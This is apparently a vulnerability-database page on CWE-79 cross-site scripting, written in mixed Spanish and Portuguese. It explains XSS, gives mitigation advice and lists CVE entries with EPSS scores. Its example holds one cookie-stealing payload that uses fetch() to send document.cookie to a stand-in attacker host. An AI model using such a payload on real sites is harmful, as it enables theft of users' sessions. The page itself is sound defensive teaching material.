Fallos del tipo CWE-79

28.523 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-41937MEDIUMApache Airflow: Stored XSS Vulnerability on provider linkEPSS 1.7%CVE-2020-7006—Systech Corporation NDS-5000 Terminal Server, NDS/5008 (8 Port, RJ45), firmware Version 02D.30. Successful exploitation of this vulnerabilitEPSS 1.7%CVE-2018-0118—A vulnerability in the web-based management interface of Cisco Unified Communications Manager could allow an unauthenticated, remote attackeEPSS 1.7%CVE-2021-24409—Prismatic < 2.8 - Reflected Cross-Site Scripting (XSS)EPSS 1.7%CVE-2023-29506MEDIUMorg.xwiki.platform:xwiki-platform-security-authentication-default XSS with authenticated endpointsEPSS 1.7%CVE-2025-25062MEDIUMAn XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text contentEPSS 1.7%CVE-2022-0150—WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS)EPSS 1.7%CVE-2022-0248—Contact Form Submissions < 1.7.3 - Unauthenticated Stored XSSEPSS 1.7%CVE-2022-24891MEDIUMCross-site Scripting in org.owasp.esapi:esapi -- antisamy-esapi.xml configuration fileEPSS 1.7%CVE-2017-12248—A vulnerability in the web framework code of Cisco Unified Intelligence Center Software could allow an unauthenticated, remote attacker to cEPSS 1.7%CVE-2018-0144—A vulnerability in the web-based management interface of Cisco Prime Data Center Network Manager could allow an unauthenticated, remote attaEPSS 1.7%CVE-2018-0212—A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attackeEPSS 1.7%CVE-2021-24435—Titan Framework <= 1.12.1 - Reflected Cross-Site Scripting (XSS)EPSS 1.7%CVE-2018-0219—A vulnerability in the web-based management interface of Cisco Unified Computing System (UCS) Director could allow an unauthenticated, remotEPSS 1.7%CVE-2018-0223—A vulnerability in DesktopServlet in the web-based management interface of Cisco Security Manager could allow an unauthenticated, remote attEPSS 1.7%CVE-2025-48700MEDIUMAn issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0 and 10.0 and 10.1. A Cross-Site Scripting (XSS) vulnerability in the ZiEPSS 1.7%KEVCVE-2020-26296HIGHXSS in VegaEPSS 1.7%CVE-2020-1100MEDIUMMicrosoft Office SharePoint XSS VulnerabilityEPSS 1.7%CVE-2020-1101MEDIUMMicrosoft Office SharePoint XSS VulnerabilityEPSS 1.7%CVE-2020-1099MEDIUMMicrosoft Office SharePoint XSS VulnerabilityEPSS 1.7%